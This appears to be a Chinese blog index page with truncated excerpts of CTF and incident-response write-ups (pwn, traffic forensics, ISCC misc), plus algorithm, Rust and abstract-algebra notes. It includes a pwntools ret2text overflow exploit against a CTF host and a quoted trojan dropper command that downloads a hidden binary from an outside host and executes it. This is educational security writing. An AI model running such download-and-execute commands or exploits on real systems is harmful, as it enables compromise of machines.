NSS百题挑战
前言
本文章用于记录自己在 NSS Pwn 方向刷的百题题解,从简单 ret2text 题到困难 libc 题皆有,可作为本地知识库使用
Pwn 环境搭建(pwndocker)
正文
[SWPUCTF 2021 新生赛]gift_pwn
64 位,无保护,ida 打开看到 gift 在 0X4005B6,buf 大小为 16,故填充 16+8(对齐)位后接 gift
123456from pwn import *p = remote('node1.anna.nssctf.cn',28025)gift = 0X4005B6payload = b'a'*(16+8)+p64(gift)p.sendline(payload)p.interactive()
ls 并 cat flag
第一届OpenHarmony CTF WP
Misc
可惜了,网断了一会,没有抢到血
软总线流量分析取证 1
打开任务书
OpenHarmony 设备 ip:192.168.3.208/192.168.3.209
已知两个设备的名字是相同的,它们的名字是什么?(如果设备名中有空格则用_替代,例如 Name 1.0 写为 Name_1.0)
suspicious_traffic.pcap流量所对应的应用程序是什么?(英文名词单词,如 application)
目标设备的分布式设备管理组件版本号是什么?(如 1.1.1)
通信过程使用的软总线版本号是多少?(如 999)
使用 Wireshark 分析流量包,由协议分析统计可知应该追踪 TCP 流
使用tcp.stream eq挨个查看,可以看到前几个都标了 fake,直到tcp.stream eq 5出现了一次 http 请求,随后连接了connectivitycheck.platform.hicloud.com
在之后的流tcp.stream eq 7出现了我们需要的数据包
由"targetDeviceName":"OpenHarmon ...
从M-209 Beaufort入手破解多表代换密码
f70689ea740deeef8fc32beafcb99947266b08c167d8d5c058c70c20d4ed12333800f89dc7bc8f35423f51f32b13b048c04cdaf2ddcffdf1a0a80688db41fd2c7eaf3b264b6962c0af048c07799ea6b6fe8314a6f18c5ddd82e527055be12ae2
Hey, password is required here.
第二届Parloo杯应急响应线下赛
拓扑图
主要工具:R-Studio,取证大师,CTF-NetA,Wireshark
攻击者 IP 地址 1(内网)
查看 Server3 里的/var/log/nginx/error.log
flag{192.168.162.134}
攻击者 IP 地址 2(公网)
进入 WindowsPC,提交地址栏内找到的 ip。也可以在网络服务缓存内找到。
flag{111.170.148.147}
flag1
在 Server1 的/root/.ssh/authorized_keys内找到 flag1。此外,很多 flag 可以利用取证大师或 XWF 直接全局搜索搜出来
flag{redis_attack_zgsfsys}
flag2
在 Server1 的/tmp/hack文件内找到
flag2{Hack_Base_area}
flag3
用 X-Ways 全局搜索 flag3 找到黑客传输的 flag3.txt,取证大师搜不到
flag{666hackis888999}
flag4
XWF ...
ISCC2025 Stage1 WP
ISCC 练武校级赛和擂台部分 WP,主要是 Mobile 和 Misc
练武
Misc
书法大师
下载附件,图片属性内找到字符串L9k8JhGfDsA,binwalk 发现一个压缩包(其实一开始的附件里有一堆压缩包,但只有 1-50 或 45 才有用),拿字符串解密得到 message45.txt,内容如下
1右女 丙色 太歌 从少 生乙 女下 没个 没医 石成 男真 那比 市尖 丙比 成慢 作〇 切厂 石站 马〇 片摔 尖趣 耳回 石乙 女群 工睡
猜测是和笔画数有关,两个一组,写个脚本用cnchar-data查询
12345678910111213141516171819202122232425import requestsfrom urllib import parseimport jsonurl = "https://unpkg.com/cnchar-data@1.1.0/draw/"output = ''data = "右女 丙色 太歌 从少 生乙 女下 没个 没医 石成 男真 那比 市尖 丙比 成慢 作〇 切厂 石站 马〇 ...
2025长城杯半决赛 应急响应复现
ISW-1
小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取 flag 文件。
题目 1:找出主机上木马回连的主控端服务器 IP 地址[不定时(3~5 分钟)周期性],并以 flag{MD5}形式提交,其中 MD5 加密目标的原始字符串格式 IP:port。
下载镜像,使用 R-Studio 打开
在/home/ubuntu目录下可以看到被删除的1.txt文件
1wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
联想背景中提及的更新操作,再翻看.viminfo查看命令模式下执行的历史命令,可以看到以下文件被更新
12/etc/systemd/system/sy ...
几道算法题解
好久没写算法题了,一写才发现自己真忘光了。还好这几题基本上都是暴力题(
头痛好想睡觉
A-子串分值
第一题一看就有点蒙,读完题发现不难,然后写了个暴力,过了样例,然后很显然地 TLE 了
于是写了个简单的记忆优化,但复杂度还是 O(n2logn)O(n^2logn)O(n2logn) ,所以又爆了
爆两次之后仔细分析了一下,他要求的字符串中总共就 26 个字母,我们不妨从字符出发,求每个字符的贡献度。例如样例是ababc的话,对于第一个a贡献度就是 2,第二个b贡献度就是 4,以此类推。
因为该字符能做出贡献的 substr 中一定只包含一个它,所以我们往左右两边找上一个和下一个它即可。而贡献度 DiD_iDi 的计算方式可由乘法原理得:
Di=(i−l)(r−i)D_i=(i-l)(r-i)
Di=(i−l)(r−i)
也就是左边字符数+1 乘右边字符数+1。而把两个乘数算出来再相乘的复杂度应该是O(n)O(n)O(n),按理说是可以过的
那为什么没过呢,因为我忘记开long long了 XD
代码如下
12345678910111213141516171819202122232 ...
Rust学习笔记
声明
笔记均为个人撰写,只用于记录自己学习时遇到的问题,不定期更新
推荐的 Rust 教程:
Rust 语言圣经(Rust Course)
通过例子学 Rust
Rust 程序设计语言
看新不看旧,Rust 2024 Edition 已发布,建议在配置环境及后续学习时选用 1.84 及以上的版本
修改 Rust 下载镜像源
Rust 默认镜像源为crates.io,有时下载速度过慢,可换用国内镜像源
在$HOME/.cargo/config.toml添加 ustc 镜像源
12[registries]ustc = { index = "https://mirrors.ustc.edu.cn/crates.io-index/" }
使用稀疏索引
12[source.ustc]registry = "sparse+https://mirrors.ustc.edu.cn/crates.io-index/"
引入依赖时(例如time),在Cargo.toml中添加
12[dependencies]time = { regi ...
抽象代数学习笔记
群论(Group Theory)
群的定义
设 GGG 为非空集合,其上有二元运算⋅:G×G→G\cdot :G \times G \to G⋅:G×G→G,如果它们满足以下性质,则称 (G,⋅)(G,\cdot )(G,⋅)是一个群(group),简称群 GGG:
结合律:∀a,b,c∈G,a⋅(b⋅c)=(a⋅b)⋅c\forall a,b,c \in G,a \cdot (b \cdot c) = (a \cdot b) \cdot c∀a,b,c∈G,a⋅(b⋅c)=(a⋅b)⋅c.
有单位元:∃e∈G,∀a∈G,a⋅e=e⋅a=a\exists e \in G,\forall a \in G,a \cdot e = e \cdot a = a∃e∈G,∀a∈G,a⋅e=e⋅a=a.这里eee被称为群GGG的单位元,也可称作幺元.
有逆元:∀a∈G,∃b∈G,a⋅b=b⋅a=e\forall a \in G,\exists b \in G,a \cdot b=b \cdot a=e∀a∈G,∃b∈G,a⋅b=b⋅a=e.这里bbb被称为aaa的逆元,也可以记作a−1a^{-1 ...
【非对称加密学习笔记】Lattice格密码与LLL格基规约算法
bcbfb01e5f17b4fc39e55d0d641398c531cc0aa3cb3a9d03bc9ee7a476ef351818b2fc0faa7be3875cdacc66a31b03f3dd2b846ab93a8a9ef366e96f383a89eb5aa3a93d0084b4ac4b078368fd4b299652eb3399164652c3d0595f9cd2ef296f17ce277ee42ba5ab73c1ee40b3af4a6923aee8610cde573a38a4da2c28e3f274
Hey, password is required here.